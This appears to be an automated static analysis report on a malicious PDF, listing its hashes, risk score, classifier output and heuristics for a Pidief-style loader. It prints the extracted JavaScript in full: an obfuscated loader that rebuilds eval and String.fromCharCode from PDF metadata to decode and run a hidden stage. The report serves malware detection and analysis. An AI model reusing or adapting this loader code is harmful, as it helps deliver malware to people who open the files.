Malicious PDF — malware analysis report

Static analysis result for SHA-256 2aa6e55ae9f003c6…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-08
MD5: 777c8097072f82a68db2fdc6d0e34339 SHA-1: b255a540da576c9e739c232df379a4b3772c9519 SHA-256: 2aa6e55ae9f003c6aeaea4100bc9a175bc0f31b68a2d0fd945f105a8ffd5b587
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFA7 523 bytes
SHA-256: 7a97c4b087376e31d3f4004a2622db062a4fcd7d67018214ffc060e0dac1a8f6
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
zz='keyw';
zz+='ords';
ndw=e(zz);
l='leng';
l+='t'+'';
l+='h';
q=ndw[v](a[l]-7,9);
d='Strin';
d+='g.';
d+='f'+'r';
d+='o';
d+=q;
ppoiv=e(e('d'));
sub=v[0];
sub+='ubject';
q=ndw[e('v')](t[l]+12)[v[0]+e(sub)+'t']('c');
k=q[t[0]+'eng'+'t'+''+'h'];
i=t[t[0]+'eng'+'t'+''+'h']-2;
for(;i!==k;){
	keu = 1*(q[i]);
	i++;
	keu -= (-1)*(q[i]);
	s2 += ppoiv(keu);
	i++;
}
e(s2);

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